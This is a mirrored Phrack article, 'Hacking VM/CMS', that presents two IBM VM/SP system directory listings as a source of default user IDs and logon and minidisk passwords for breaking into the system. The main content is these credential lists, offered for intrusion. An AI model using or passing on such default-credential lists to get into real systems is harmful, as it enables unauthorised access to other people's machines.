syn2cat
/
phrack
2
0
Fork 0
Code Issues Pull Requests Projects Releases Wiki Activity
phrack/phrack30/4.txt

1680 lines
55 KiB
Plaintext
Raw Permalink Blame History

==Phrack Inc.==
Volume Three, Issue 30, File #4 of 12
/===================================\
| |
| Hacking VM/CMS |
| |
| |
| by Goe |
| |
\===================================/
This file written by Goe (my nickname). Any comments or criticisms or
corrections are welcomed. Anyone with a good knowledge can modify this.
The article's topic is the IBM VM/SP running CMS and using DIRMAINT. I do not
know if it works in MVS/TSO or VSE.
The first table contains the original default IDs & passwords from IBM Corp.
The second table contains those default IDs & passwords that IBM customized for
its customer.
===============================================================================
***************************************************************
* 3380 SYSTEM DIRECTORY *
***************************************************************
* *
* The addresses 123, 124, and 125 are virtual ad- *
* dresses. The address 123 is critical since it is *
* used in DMKSYS, the directory, and the service en- *
* vironments of the Interactive Productivity Facil- *
* ity. Do not change this address. If you still want *
* to change it, remember it must be changed in *
* DMKSYS, all service environments, the 'DIRECTORY' *
* statement below, and in the 'MDISK' statements *
* found under the userid 'MAINT'. *
* *
* NOTE: Remember these are only virtual addresses *
* not real addresses, so there is no need to change *
* them to match your hardware addresses. More in- *
* formation is contained in the system Installation *
* Guide. *
* *
***************************************************************
*
DIRECTORY 123 3380 VMSRES
*
***************************************************************
* 3380 SYSTEM RESERVED AREAS (NOT FOR MINIDISKS) *
***************************************************************
*
USER $ALLOC$ NOLOG
MDISK A01 3380 000 001 VMSRES R
MDISK B01 3380 000 001 VMPK01 R
MDISK E01 3380 000 001 VMPK04 R
MDISK F11 3380 000 001 PROFPK R
MDISK F21 3380 000 001 SQLPK R
*
USER $TEMP$ NOLOG
MDISK A09 3380 272 228 VMSRES R
MDISK D09 3380 277 258 VMPK01
*
USER $TDISK$ NOLOG
MDISK A08 3380 585 091 VMSRES R
*
USER $CPNUC$ NOLOG
MDISK A02 3380 001 005 VMSRES R
*
USER $DIRECT$ NOLOG
MDISK A03 3380 500 002 VMSRES R
*
USER $SAVSYS$ NOLOG
MDISK A04 3380 006 011 VMSRES R
MDISK B04 3380 012 056 VMPK01 R
*
USER $SYSERR$ NOLOG
MDISK A06 3380 019 002 VMSRES R
*
USER $SYSCKP$ NOLOG
MDISK A05 3380 271 001 VMSRES R
*
USER $SYSWRM$ NOLOG
MDISK A07 3380 017 002 VMSRES R
*
***************************************************************
* SYSTEM RELATED USERIDS *
***************************************************************
*
USER AUTOLOG1 NOLOG 512K 1M ABCDEG
ACCOUNT 2 SYSTEM
IPL CMS PARM AUTOCR
CONSOLE 009 3215
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
LINK MAINT 190 190 RR
LINK MAINT 19D 19D RR
LINK MAINT 19E 19E RR
MDISK 191 3380 093 001 VMPK01 MR RAUTOLOG WAUTOLOG MAUTOLOG
*
USER CMSBATCH NOLOG 1M 2M G
ACCOUNT 3 SYSTEM
OPTION ACCT
IPL CMS PARM AUTOCR
CONSOLE 009 3215
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
LINK MAINT 190 190 RR
MDISK 195 3380 068 002 VMPK01 MR RBATCH WBATCH MBATCH
*
USER CMSUSER NOLOG 1M 3M G
ACCOUNT 101 USER01
IPL CMS
CONSOLE 009 3215
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
LINK MAINT 190 190 RR
LINK MAINT 19D 19D RR
LINK MAINT 19E 19E RR
MDISK 191 3380 089 003 VMPK01 MR RCMS WCMS MCMS
*
USER EREP NOLOG 768K 2M FG
ACCOUNT EREP IBMCE
IPL CMS
CONSOLE 01F 3215
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
LINK MAINT 190 190 RR
LINK MAINT 19D 19D RR
LINK MAINT 19E 19E RR
LINK MAINT 201 192 RR
MDISK 191 3380 027 001 VMSRES WR READ WRITE
*
USER GCS NOLOG 5M 6M G
ACCOUNT GCS RECVM
OPTION ECMODE DIAG98
IPL GCS PARM AUTOLOG
CONSOLE 009 3215
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
LINK MAINT 190 190 RR
LINK MAINT 19D 19D RR
LINK MAINT 595 595 RR
LINK MAINT 59E 59E RR
MDISK 191 3380 677 005 VMPK01 MR RGCS WGCS MGCS
*
USER IVPM1 NOLOG 3M 16M G
ACCOUNT ACT4 IVPM1
CONSOLE 009 3210
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
LINK MAINT 190 190 RR
LINK MAINT 193 193 RR
LINK MAINT 194 194 RR
LINK MAINT 19D 19D RR
MDISK 191 3380 883 001 VMSRES WR READ WRITE
*
USER IVPM2 NOLOG 3M 4M G
ACCOUNT ACT5 IVPM2
CONSOLE 009 3210
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
LINK MAINT 190 190 RR
LINK MAINT 193 193 RR
LINK MAINT 194 194 RR
LINK MAINT 19D 19D RR
MDISK 191 3380 884 001 VMSRES WR READ WRITE
*
USER MAINT CPCMS 16M 16M ABCDEFG
ACCOUNT 1 SYSPROG
OPTION ECMODE DIAG98
IPL 190
CONSOLE 009 3215
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
MDISK 123 3380 000 885 VMSRES MW RSYSRES WSYSRES MSYSRES
MDISK 124 3380 000 885 VMPK01 MW RSYSRES WSYSRES MSYSRES
MDISK 127 3380 000 885 VMPK04 MW RSYSRES WSYSRES MSYSRES
MDISK 129 3380 000 885 PROFPK MW RSYSRES WSYSRES MSYSRES
MDISK 130 3380 000 885 SQLPK MW RSYSRES WSYSRES MSYSRES
MDISK 19D 3380 229 048 VMPK01 MW ALL WMAINT MMAINT
MDISK 190 3380 502 037 VMSRES MW ALL WMAINT MMAINT
MDISK 191 3380 144 010 VMSRES MW RMAINT WMAINT MMAINT
MDISK 193 3380 117 027 VMSRES MW RMAINT WMAINT MMAINT
MDISK 194 3380 044 027 VMSRES MW RMAINT WMAINT MMAINT
MDISK 196 3380 028 016 VMSRES MW RMAINT WMAINT MMAINT
MDISK 201 3380 767 023 VMSRES MW RMAINT WMAINT MMAINT
MDISK 293 3380 790 027 VMSRES MW RCMSAUX WCMSAUX MCMSAUX
MDISK 294 3380 862 021 VMSRES MW RCPAUX WCPAUX MCPAUX
MDISK 295 3380 211 014 VMSRES MW RUSRMOD WUSRMOD MUSRMOD
MDISK 296 3380 070 019 VMPK01 MW RCPAUX WCPAUX MCPAUX
MDISK 319 3380 021 006 VMSRES MW ALL WMAINT MMAINT
MDISK 393 3380 353 063 VMPK04 WR RMAINT WMAINT
MDISK 394 3380 416 076 VMPK04 WR RMAINT WMAINT
MDISK 396 3380 499 034 VMPK04 WR RMAINT WMAINT
MDISK 492 3380 664 011 VMPK01 MW RTSFOBJ WTSFOBJ MTSFOBJ
MDISK 494 3380 864 011 VMPK01 MW RTSFAUX WTSFAUX MTSFAUX
MDISK 496 3380 092 001 VMPK01 MW RIPCX WIPCSX MIPSX
MDISK 497 3380 492 007 VMPK04 MW RMAINT WMAINT
MDISK 59E 3380 875 010 VMPK01 MW ALL WMAINT MMAINT
MDISK 595 3380 682 031 VMPK01 MW RMAINT WMAINT MMAINT
MDISK 596 3380 713 021 VMPK01 MW RGCSAUX WGCSAUX MGCSAUX
*
USER OLTSEP NOLOG 1M 1M FG
ACCOUNT OLTSEP IBMCE
OPTION REALTIMER ECMODE
IPL 5FF
CONSOLE 01F 3215
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
LINK MAINT 19D 19D RR
MDISK 5FF 3380 000 885 CEPACK MR READ WRITE
*
USER OPERATNS NOLOG 1M 2M BCEG
ACCOUNT 13 SYSPROG
IPL CMS
CONSOLE 009 3215
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
LINK MAINT 190 190 RR
LINK MAINT 19D 19D RR
LINK MAINT 19E 19E RR
MDISK 191 3380 154 001 VMSRES MR RIPCS WIPCS MIPCS
MDISK 193 3380 201 008 VMSRES MR RIPCS WIPCS MIPCS
*
USER OPERATOR OPERATOR 3M 16M ABCDEFG
ACCOUNT 2 OPERATOR
CONSOLE 009 3215 T MAINT
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
LINK MAINT 190 190 RR
LINK MAINT 19D 19D RR
LINK MAINT 19E 19E RR
MDISK 191 3380 209 002 VMSRES MR ROPER WOPER MOPER
*
USER SYSDUMP1 NOLOG 1M 1M BG
ACCOUNT 16 SYSTEM
IPL CMS
CONSOLE 009 3215
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
LINK MAINT 190 190 RR
LINK MAINT 19D 19D RR
LINK MAINT 19E 19E RR
MDISK 123 3380 000 885 VMSRES RR
MDISK 124 3380 000 885 VMPK01 RR
MDISK 127 3380 000 885 VMPK04 RR
MDISK 129 3380 000 885 PROFPK RR
MDISK 130 3380 000 885 SQLPK RR
*
USER TSAFVM NOLOG 4M 8M G
ACCOUNT 1 xxxxxx
OPTION MAXCONN 256 BMX ECMODE COMSRV ACCT CONCEAL REALTIMER
IUCV ALLOW
IUCV *CRM
IPL CMS PARM AUTOCR
CONSOLE 009 3215 A OPERATOR
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
LINK MAINT 190 190 RR
LINK MAINT 19D 19D RR
LINK MAINT 19E 19E RR
LINK MAINT 492 192 RR
LINK MAINT 494 494 RR
MDISK 191 3380 675 002 VMPK01 MR
DEDICATE 300 4A0
*
===============================================================================
***************************************************************
* 3380 SYSTEM DIRECTORY *
***************************************************************
* *
* The virtual address 123 is critical since it is *
* used in DMKSYS, the directory, and the service en- *
* vironments of the Interactive Productivity Facil- *
* ity. Do not change this address. If you still want *
* to change it, remember it must be changed in *
* DMKSYS, all service environments, the 'DIRECTORY' *
* statement below, and in the 'MDISK' statements *
* found under the userid 'MAINT'. *
* *
* NOTE: Remember these are only virtual addresses *
* not real addresses, so there is no need to change *
* them to match your hardware addresses. More in- *
* formation is contained in the system Installation *
* Guide. *
* *
***************************************************************
*
DIRECTORY 123 3380 VMSRES
*
***************************************************************
* EXPRESS STANDARD PROFILE FOR GENERAL PURPOSE USERIDS *
***************************************************************
*
PROFILE EXPPROF
IPL CMS PARM AUTOCR
CONSOLE 009 3215
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
LINK MAINT 190 190 RR
LINK MAINT 19D 19D RR
LINK MAINT 19E 19E RR
*
***************************************************************
* 3380 SYSTEM RESERVED AREAS (NOT FOR MINIDISKS) *
***************************************************************
*
USER $ALLOC$ NOLOG
MDISK A01 3380 000 001 VMSRES R 03131808
MDISK A02 3380 000 001 VMGCS1 R 03131808
MDISK A05 3380 000 001 VMPK01 R 03131808
MDISK A06 3380 000 001 VMSTGE R 03131808
MDISK A07 3380 000 001 PROFPK R 03131808
MDISK A08 3380 000 001 SQLPK R 03131808
MDISK A09 3380 000 001 VMPK02 R 03131808
MDISK A0A 3380 000 001 EDMD01 R 03131808
*
USER $TEMP$ NOLOG
MDISK B01 3380 392 100 VMSRES R 03131808
MDISK B02 3380 392 100 VMPK01 R 03131808
*
USER $TDISK$ NOLOG
MDISK C01 3380 358 033 VMSRES R 03131808
MDISK C02 3380 492 022 VMPK01 R 03131808
*
USER $CPNUC$ NOLOG
MDISK D01 3380 001 005 VMSRES R 03131808
*
USER $DIRECT$ NOLOG
MDISK E01 3380 492 002 VMSRES R 03131808
*
USER $SAVSYS$ NOLOG
MDISK F01 3380 006 011 VMSRES R 03131808
MDISK F02 3380 012 060 VMPK01 R 03131808
*
USER $SYSERR$ NOLOG
MDISK F03 3380 019 002 VMSRES R 03131808
*
USER $SYSCKP$ NOLOG
MDISK F04 3380 391 001 VMSRES R 03131808
*
USER $SYSWRM$ NOLOG
MDISK F05 3380 017 002 VMSRES R 03131808
*
***************************************************************
* SYSTEM RELATED USERIDS *
***************************************************************
*
USER AUTOLOG1 AUTOLOG1 512K 1M ABCDEG
INCLUDE EXPPROF
ACCOUNT 2 SYSTEM
MDISK 191 3380 094 001 VMPK01 MR RAUTOLOG WAUTOLOG MAUTOLOG 03131808
*
USER CMSBATCH CMSBATCH 1M 2M G
ACCOUNT 3 SYSTEM
OPTION ACCT
IPL CMS PARM AUTOCR
CONSOLE 009 3215
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
LINK MAINT 190 190 RR
MDISK 195 3380 095 002 VMPK01 MR RBATCH WBATCH MBATCH 03131808
*
USER CMSUSER CMSUSER 1M 3M G
INCLUDE EXPPROF
ACCOUNT 101 USER01
MDISK 191 3380 091 003 VMPK01 MR RCMS WCMS MCMS 03131808
*
USER EREP EREP 768K 2M FG
INCLUDE EXPPROF
ACCOUNT EREP IBMCE
LINK MAINT 201 192 RR
MDISK 191 3380 021 001 VMSRES WR READ WRITE 03131808
*
USER GCS GCS 5M 6M G
ACCOUNT GCS RECVM
OPTION ECMODE DIAG98
IPL GCS PARM AUTOLOG
CONSOLE 009 3215
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
LINK MAINT 190 190 RR
LINK MAINT 19D 19D RR
LINK MAINT 595 595 RR
LINK MAINT 59E 59E RR
MDISK 191 3380 514 005 VMPK01 MR RGCS WGCS MGCS 03131808
*
USER IVPM1 IVPM1 3M 16M G
ACCOUNT ACT4 IVPM1
CONSOLE 009 3210
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
LINK MAINT 190 190 RR
LINK MAINT 193 193 RR
LINK MAINT 194 194 RR
LINK MAINT 19D 19D RR
MDISK 191 3380 868 001 VMSRES WR READ WRITE 03131808
*
USER IVPM2 IVPM2 3M 4M G
ACCOUNT ACT5 IVPM2
CONSOLE 009 3210
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
LINK MAINT 190 190 RR
LINK MAINT 193 193 RR
LINK MAINT 194 194 RR
LINK MAINT 19D 19D RR
MDISK 191 3380 869 001 VMSRES WR READ WRITE 03131808
*
USER MAINT CPCMS 6M 16M ABCDEFG
ACCOUNT 1 SYSPROG
OPTION ECMODE DIAG98
IPL CMS
IUCV *CCS P M 10
IUCV ANY P M 0
CONSOLE 009 3215
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
*
MDISK 123 3380 000 885 VMSRES MW RSYSRES WSYSRES MSYSRES 03131808
MDISK 124 3380 000 885 VMPK01 MW RSYSRES WSYSRES MSYSRES 03131808
MDISK 126 3380 000 885 VMSTGE MW RSYSRES WSYSRES MSYSRES 03131808
MDISK 127 3380 000 885 VMGCS1 MW RSYSRES WSYSRES MSYSRES 03131808
MDISK 129 3380 000 885 PROFPK MW RSYSRES WSYSRES MSYSRES 03131808
MDISK 130 3380 000 885 SQLPK MW RSYSRES WSYSRES MSYSRES 03131808
MDISK 131 3380 000 885 VMPK02 MW RSYSRES WSYSRES MSYSRES 03131808
*
* 19D - Help files
* 39D - Help files for NLS
* 19E - CMS extension disk. Most program products go here
* 190 - CMS nucleus and commands
* 191 - MAINT work disk and system dependent files
* 193 - CMS text / IPCS text / GCS interface texts
* 194 - CP text files and Maclibs
* 196 - HPO text files and Maclibs
* 201 - EREP files
* 293 - Aux and update files for CMS service
* 294 - Aux and update files for CP service
* 295 - CP/CMS EXPRESS/local service
* 296 - HPO aux and update files for service
* 3A0 - IPF online documentation
* 300 - VM/IPF system support, administration and operation dialogs
* 301 - IPF VM/VSE feature files
* 31A - Customer procedures and products not from VM/EXPRESS
* 310 - Maclibs for VM/IPF
* 319 - Some optional Program Products
* 393 - CMS source
* 394 - CP SOURCE
* 396 - HPO source
* 492 - TSAF
* 494 - TSAF
* 496 - IPCS service files
* 497 - IPCS source files
* 59E - GCS System disk extension
* 595 - GCS object code
* 596 - GCS service files
*
MDISK 19D 3380 308 025 VMSRES MW ALL WMAINT MMAINT 03131808
MDISK 39D 3380 333 025 VMSRES MW ALL WMAINT MMAINT 03131808
MDISK 19E 3380 245 147 VMPK01 MR RMAINT WMAINT MMAINT 03131808
MDISK 190 3380 494 037 VMSRES MW ALL WMAINT MMAINT 03131808
MDISK 191 3380 088 010 VMSRES MW RMAINT WMAINT MMAINT 03131808
MDISK 193 3380 061 027 VMSRES MW RMAINT WMAINT MMAINT 03131808
MDISK 194 3380 022 027 VMSRES MW RMAINT WMAINT MMAINT 03131808
MDISK 196 3380 684 016 VMSRES MW RMAINT WMAINT MMAINT 03131808
MDISK 201 3380 567 023 VMSRES MW RMAINT WMAINT MMAINT 03131808
MDISK 293 3380 590 027 VMSRES MW RCMSAUX WCMSAUX MCMSAUX 03131808
MDISK 294 3380 663 021 VMSRES MW RCPAUX WCPAUX MCPAUX 03131808
MDISK 295 3380 531 014 VMSRES MW RUSRMOD WUSRMOD MUSRMOD 03131808
MDISK 296 3380 072 019 VMPK01 MW RCPAUX WCPAUX MCPAUX 03131808
MDISK 3A0 3380 128 001 VMPK01 MR ALL WMAINT MMAINT 03131808
MDISK 300 3380 097 015 VMPK01 MR ALL WMAINT MMAINT 03131808
*MDISK 301 3380 001 049 EDMD01 MW ALL WMAINT MMAINT 03131808
MDISK 31A 3380 870 003 VMSRES MW ALL WMAINT MMAINT 03131808
MDISK 310 3380 112 016 VMPK01 MR ALL WMAINT MMAINT 03131808
MDISK 319 3380 617 015 VMSRES MW ALL WMAINT MMAINT 03131808
MDISK 393 3380 001 063 VMSTGE WR RMAINT WMAINT 03131808
MDISK 394 3380 064 076 VMSTGE WR RMAINT WMAINT 03131808
MDISK 396 3380 147 034 VMSTGE WR RMAINT WMAINT 03131808
MDISK 492 3380 195 011 VMPK01 MW RTSFOBJ WTSFOBJ MTSFOBJ 03131808
MDISK 494 3380 721 011 VMSRES MW RTSFAUX WTSFAUX MTSFAUX 03131808
MDISK 496 3380 782 001 VMPK01 MW RIPCX WIPCSX MIPSX 03131808
MDISK 497 3380 140 007 VMSTGE MW RMAINT WMAINT 03131808
MDISK 59E 3380 181 010 VMPK01 MW ALL WMAINT MMAINT 03131808
MDISK 595 3380 214 031 VMPK01 MW RMAINT WMAINT MMAINT 03131808
MDISK 596 3380 700 021 VMSRES MW RGCSAUX WGCSAUX MGCSAUX 03131808
*
* 29E - 5748-RC1 (PVM) - 5748-XP1 (RSCS V1) - Update files
* 36E - 5748-RC1 PVM 191 disk
* 39E - 5748-RC1 (PVM) - 5748-XP1 (RSCS V1) - Source files
* 49E - 5748-RC1 (PVM) - 5748-XP1 (RSCS V1) - Text files
*
MDISK 29E 3380 785 007 VMPK01 MR RMAINT WMAINT MMAINT 03131808
MDISK 36E 3380 563 004 VMSRES RR RMAINT WMAINT MMAINT 03131808
MDISK 39E 3380 181 045 VMSTGE WR RMAINT WMAINT 03131808
MDISK 49E 3380 792 007 VMPK01 MR RMAINT WMAINT MMAINT 03131808
*
* 348 - EP - ACF/NCP - NETVIEW - ACF/VTAM - ACF/SSP (VMFPARM DISK)
*
MDISK 348 3380 001 002 VMGCS1 MR RMAINT WMAINT MMAINT 03131808
*
* 298 - 5664-280 VTAM 191
* 299 - 5664-280 VTAM Base disk
* 29A - 5664-280 VTAM Run disk
* 29B - 5664-280 VTAM Merge disk
* 29C - 5664-280 VTAM Zap disk
* 29D - 5664-280 VTAM Delta disk
*
MDISK 298 3380 005 009 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
MDISK 299 3380 200 024 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
MDISK 29A 3380 156 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
MDISK 29B 3380 224 020 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
MDISK 29C 3380 244 005 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
MDISK 29D 3380 860 020 VMGCS1 MR RMAINT WMAINT MMAINT 03131808
*
* 33F - 5664-289 ACF/SSP Base disk
* 340 - 5664-289 ACF/SSP Delta disk
* 341 - 5664-289 ACF/SSP Merge disk
* 342 - 5664-289 ACF/SSP Zap disk
* 343 - 5664-289 ACF/SSP Run disk
*
MDISK 33F 3380 687 048 VMGCS1 MR RMAINT WMAINT MMAINT 03131808
MDISK 340 3380 830 010 VMGCS1 MR RMAINT WMAINT MMAINT 03131808
MDISK 341 3380 840 020 VMGCS1 MR RMAINT WMAINT MMAINT 03131808
MDISK 342 3380 249 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
MDISK 343 3380 110 046 VMGCS1 MR RMAINT WMAINT MMAINT 03131808
*
* 352 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Base disk
* 353 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Delta disk
* 354 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Merge disk
* 355 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Run disk
* 356 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Zap disk
*
MDISK 352 3380 259 066 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
MDISK 353 3380 325 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
MDISK 354 3380 335 020 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
MDISK 355 3380 355 088 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
MDISK 356 3380 443 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
*
* 349 - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) VMFPARM DISK
* 357 - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Base disk
* 358 - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Delta disk
* 359 - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Merge disk
* 35A - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Zap disk
* 35B - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Run disk
*
MDISK 349 3380 003 002 VMGCS1 MR RMAINT WMAINT MMAINT 03131808
MDISK 357 3380 453 066 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
MDISK 358 3380 519 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
MDISK 359 3380 529 020 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
MDISK 35A 3380 637 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
MDISK 35B 3380 549 088 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
*
* 330 - 5664-204 NETVIEW Base disk
* 331 - 5664-204 NETVIEW Delta disk
* 332 - 5664-204 NETVIEW Merge disk
* 333 - 5664-204 NETVIEW Zap disk
* 334 - 5664-204 NETVIEW Run disk
*
MDISK 330 3380 735 095 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
MDISK 331 3380 647 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
MDISK 332 3380 657 020 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
MDISK 333 3380 677 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
MDISK 334 3380 014 096 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
*
* 29F - 5664-188 RSCSV2 Update files
* 39F - 5664-188 RSCSV2 User exits disk
* 49F - 5664-188 RSCSV2 Text disk
* 59F - 5664-188 RSCSV2 191 disk
*
MDISK 29F 3380 129 004 VMPK01 MR RMAINT WMAINT MMAINT 03131808
MDISK 39F 3380 799 004 VMPK01 MR RMAINT WMAINT MMAINT 03131808
MDISK 49F 3380 803 010 VMPK01 MR RMAINT WMAINT MMAINT 03131808
MDISK 59F 3380 208 006 VMPK01 MR RMAINT WMAINT MMAINT 03131808
*
* 322 - 5664-283 VM/IS
* 326 - 5664-283 VM/IS
* 34A - 5668-905 Graphical Display and Query Facility (GDQF)
* 346 - 5668-AAA Query Management Facility (QMF)
* 347 - 5668-AAA Query Management Facility (QMF)
* 360 - 5664-329 Contextual File Search (CFSearch/370)
* 361 - 5664-370 Display Write/370
* 363 - 5668-890 Font Library Service Facility (FLSF)
*
MDISK 322 3380 734 007 VMPK01 MR RMAINT WMAINT MMAINT 03131808
MDISK 326 3380 166 010 VMPK01 MR RMAINT WMAINT MMAINT 03131808
MDISK 34A 3380 164 052 VMSRES MR RMAINT WMAINT MMAINT 03131808
MDISK 346 3380 207 013 SQLPK MR RMAINT WMAINT MMAINT 03131808
MDISK 347 3380 220 023 SQLPK MR RMAINT WMAINT MMAINT 03131808
MDISK 360 3380 216 040 VMSRES MR RMAINT WMAINT MMAINT 03131808
MDISK 361 3380 768 027 VMSRES MR RMAINT WMAINT MMAINT 03131808
MDISK 363 3380 795 009 VMSRES MR RMAINT WMAINT MMAINT 03131808
*
USER OPERATNS OPERATNS 1M 2M BCEG
INCLUDE EXPPROF
ACCOUNT 13 SYSPROG
LINK MAINT 300 300 RR
LINK MAINT 193 192 RR
MDISK 191 3380 547 001 VMSRES MR RIPCS WIPCS MIPCS 03131808
MDISK 193 3380 256 008 VMSRES MR RIPCS WIPCS MIPCS 03131808
*
USER OPERATOR OPERATOR 3M 16M ABCDEFG
ACCOUNT 2 OPERATOR
IPL CMS PARM AUTOCR
CONSOLE 009 3215 T MAINT
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
LINK MAINT 190 190 RR
LINK MAINT 19D 19D RR
LINK MAINT 19E 19E RR
LINK MAINT 300 300 RR
MDISK 191 3380 545 002 VMSRES MR ROPER WOPER MOPER 03131808
*
USER SYSDUMP1 SYSDUMP1 1M 1M BG
INCLUDE EXPPROF
ACCOUNT 16 SYSTEM
LINK MAINT 300 300 RR
MDISK 123 3380 000 885 VMSRES RR 03131808
MDISK 124 3380 000 885 VMPK01 RR 03131808
MDISK 126 3380 000 885 VMSTGE RR 03131808
MDISK 127 3380 000 885 VMGCS1 RR 03131808
MDISK 129 3380 000 885 PROFPK RR 03131808
MDISK 130 3380 000 885 SQLPK RR 03131808
MDISK 131 3380 000 885 VMPK02 RR 03131808
MDISK 191 3380 133 001 VMPK01 MR RSYSDUMP WSYSDUMP MSYSDUMP 03131808
*
USER TSAFVM TSAFVM 4M 8M G
ACCOUNT 1 XXXXXX
OPTION MAXCONN 256 BMX ECMODE COMSRV ACCT CONCEAL REALTIMER
IUCV ALLOW
IUCV *CRM
IPL CMS PARM AUTOCR
CONSOLE 009 3215 A OPERATOR
SPOOL 00C 2540 READER *
SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A
LINK MAINT 190 190 RR
LINK MAINT 19D 19D RR
LINK MAINT 19E 19E RR
LINK MAINT 492 192 RR
LINK MAINT 494 494 RR
*DEDICATE 300 4A0
MDISK 191 3380 206 002 VMPK01 MR 03131808
*
USER VSEMAINT VSEMAINT 1M 4M BG
INCLUDE EXPPROF
ACCOUNT 211 DOSSYS
LINK MAINT 300 300 RR
*LINK MAINT 301 301 RR
MDISK 191 3380 632 004 VMSRES MR RVSEMAIN WVSEMAIN MVSEMAIN 03131808
*
USER VSEIPO VSEIPO 16M 16M G
*
* SAMPLE USERID TO RUN VSE/EXPRESS/IPO
*
ACCOUNT 203 VSEIPO
IPL 224
*OPTION ECMODE BMX REALTIMER VIRT=REAL MAXCONN 050 STF 370E
OPTION ECMODE BMX REALTIMER MAXCONN 050
IUCV *CCS PRIORITY MSGLIMIT 050
CONSOLE 01F 3270
SPECIAL 401 3270
SPECIAL 402 3270
SPECIAL 403 3270
SPECIAL 404 3270
SPECIAL 405 3270
SPECIAL 406 3270
SPECIAL 407 3270
SPECIAL 408 3270
SPECIAL 409 3270
SPECIAL 40A 3270
SPECIAL 40B 3270
SPECIAL 40C 3270
SPECIAL 40D 3270
SPECIAL 40E 3270
SPECIAL 40F 3270
SPECIAL 410 3270
SPECIAL 411 3270
SPECIAL 412 3270
SPECIAL 413 3270
SPECIAL 414 3270
SPECIAL 415 3270
SPECIAL 416 3270
SPECIAL 417 3270
SPECIAL 418 3270
SPECIAL 419 3270
SPECIAL 41A 3270
SPECIAL 41B 3270
SPECIAL 41C 3270
SPECIAL 41D 3270
SPECIAL 41E 3270
SPECIAL 41F 3270
SPOOL 00C 3505 A
SPOOL 00D 3525 A
SPOOL 00E 3203 A
SPOOL 05D 3525 A
SPOOL 05E 1403 A
DEDICATE 300 400
DEDICATE 080 080
LINK MAINT 190 190 RR
LINK MAINT 19E 19E RR
LINK VSEMAINT 191 191 RR
* 3380 SYSTEM
*MDISK 150 3380 000 885 DOSRES MR VSEIPO VSEIPO
*MDISK 151 3380 000 885 SYSWK1 MR VSEIPO VSEIPO
*MDISK 152 3380 000 885 SYSWK2 MR VSEIPO VSEIPO
* 3375 SYSTEM
*MDISK 140 3375 000 959 DOSRES MR VSEIPO VSEIPO
*MDISK 141 3375 000 959 SYSWK1 MR VSEIPO VSEIPO
*MDISK 142 3375 000 959 SYSWK2 MR VSEIPO VSEIPO
* FB-512 SYSTEM
*MDISK 240 FB-512 00000 558000 DOSRES MR VSEIPO VSEIPO
*MDISK 241 FB-512 00000 558000 SYSWK1 MR VSEIPO VSEIPO
*MDISK 242 FB-512 00000 558000 SYSWK2 MR VSEIPO VSEIPO
* 3350 SYSTEM
MDISK 220 3350 000 555 SYSWKB MR VSE220 VSE0WO
MDISK 222 3350 000 555 SYSWK2 MR VSE222 VSE2WO
MDISK 223 3350 000 555 SYSWK4 MR VSE223 VSE3WO
MDISK 224 3350 000 555 DOSRES MR VSE224 VSE4WO
